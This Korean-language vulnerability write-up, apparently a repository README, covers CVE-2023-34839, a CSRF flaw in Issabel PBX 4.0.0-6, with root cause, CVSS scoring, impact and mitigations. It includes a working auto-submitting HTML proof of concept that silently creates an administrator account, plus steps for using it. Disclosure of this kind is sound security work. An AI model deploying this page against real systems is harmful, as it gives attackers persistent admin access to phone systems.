
CVE-2023-34839는 널리 사용되는 오픈소스 통합 커뮤니케이션 플랫폼인 Issabel PBX 버전 4.0.0-6에서 발견된 사이트 간 요청 위조(CSRF) 취약점입니다.
CVE-2023-34839는 널리 사용되는 오픈소스 통합 커뮤니케이션 플랫폼인 Issabel PBX 버전 4.0.0-6에서 발견된 사이트 간 요청 위조(CSRF) 취약점입니다. 이 취약점은 사용자 관리 엔드포인트에 존재하며, 인증되지 않은 원격 공격자가 현재 인증된 관리자를 속여 특수하게 제작된 웹페이지를 방문하게 함으로써 새 관리자 계정을 은밀히 생성할 수 있게 합니다.
Issabel PBX 4.0.0-6은 사용자 생성 엔드포인트에서 CSRF 보호 기능(예: 동기화 토큰, SameSite 쿠키 속성, Origin/Referer 헤더 검증)을 구현하지 않습니다:
POST /index.php?menu=userlist&action=new
애플리케이션이 인증을 전적으로 세션 쿠키에만 의존하고 상태 변경 요청 검증을 수행하지 않기 때문에, 어떤 출처에서든 제출된 위조된 POST 요청은 수락되어 로그인된 관리자 세션의 전체 권한으로 처리됩니다.
근본 원인: 상태 변경 관리 엔드포인트에 대한 CSRF 방지 토큰 검증 부재.
취약점 분류: CWE-352 — 사이트 간 요청 위조(CSRF)
| 소프트웨어 | 버전 | 상태 |
|---|---|---|
| Issabel PBX | 4.0.0-6 | 취약 ✔ |
공격자는 다음과 같은 개괄적인 단계를 통해 이 취약점을 악용할 수 있습니다:
피해자는 단 한 번의 페이지 방문 외에 어떤 상호 작용도 필요하지 않습니다.
⚠️ 교육 및 승인된 테스트 목적으로만 사용하세요.
localhost를 대상 Issabel PBX 인스턴스의 호스트 이름 또는 IP 주소로 바꾸세요.
자체 서명 인증서가 있는https://엔드포인트에서 테스트하는 경우, 먼저 동일한 브라우저에서 대상 URL을 방문하여 인증서 경고를 수락해야 합니다. 그렇지 않으면 브라우저가 교차 출처 양식 제출을 차단합니다.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
익스플로잇 파일은 이 저장소에서도 확인할 수 있습니다: CSRF Exploit.html
Issabel PBX 웹 인터페이스로 이동하여 관리자 자격 증명으로 로그인합니다.

위의 PoC HTML 코드를 복사하여 .html 파일로 저장하고, localhost를 대상 Issabel 인스턴스의 실제 호스트 이름 또는 IP 주소로 바꿉니다.
익스플로잇은 숨겨진 양식 필드를 사용하여 애플리케이션에 새 사용자 생성 요청을 조용히 POST합니다. 페이지가 로드되면 포함된 JavaScript가 사용자의 가시적인 동작 없이 즉시 양식을 제출합니다.

관리자 세션이 아직 활성 상태인 동안 저장된 HTML 파일을 동일한 브라우저(새 탭)에서 엽니다. 페이지가 로드되면 양식이 즉시 자동 제출됩니다.
Issabel PBX 사용자 관리 패널로 다시 이동합니다. 익스플로잇 페이지를 여는 것 외에 추가 상호 작용 없이 전체 관리자 권한을 가진 새 사용자 계정(이 PoC에서는 CSRF로 명명)이 생성되어 있을 것입니다.

CVE-2023-34839를 성공적으로 악용하면 공격자는 다음을 수행할 수 있습니다:
불량 계정은 피해자의 세션이 종료된 후에도 유지되므로, 공격자는 계정이 발견되어 제거될 때까지 무기한 액세스 권한을 유지합니다.
Issabel PBX 관리자와 개발자는 다음 완화 조치를 적용해야 합니다:
SameSite=Strict 또는 SameSite=Lax 적용: 이는 브라우저가 교차 사이트 요청에 쿠키를 보내지 않도록 지시하여, 최신 브라우저에서 전형적인 CSRF 공격을 효과적으로 방지합니다.Origin 및 Referer 헤더 검증: Origin 또는 Referer 헤더가 예상 애플리케이션 도메인과 일치하지 않는 요청을 거부합니다.이 저장소는 교육 목적 및 승인된 보안 연구를 위해서만 제공됩니다. 여기에 제공된 정보와 개념 증명 코드는 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에 대해서만 사용해야 합니다. 소유하지 않은 시스템에 대한 이 익스플로잇의 무단 사용은 불법이며 형사 기소로 이어질 수 있습니다. 저자는 이 저장소에 포함된 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2023-34839 |
| 날짜 | 2023년 6월 23일 |
| 연구자 | Sahil Ojha |
| 공급업체 | Issabel |
| 제품 | Issabel PBX |
| 버전 | 4.0.0-6 |
| 테스트 환경 | Windows |
| 지표 | 값 |
|---|
| CVSS v3.1 벡터 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 기본 점수 | 8.8(높음) |
| 공격 경로 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 필요(관리자 방문) |
| 범위 | 변경되지 않음 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 높음 |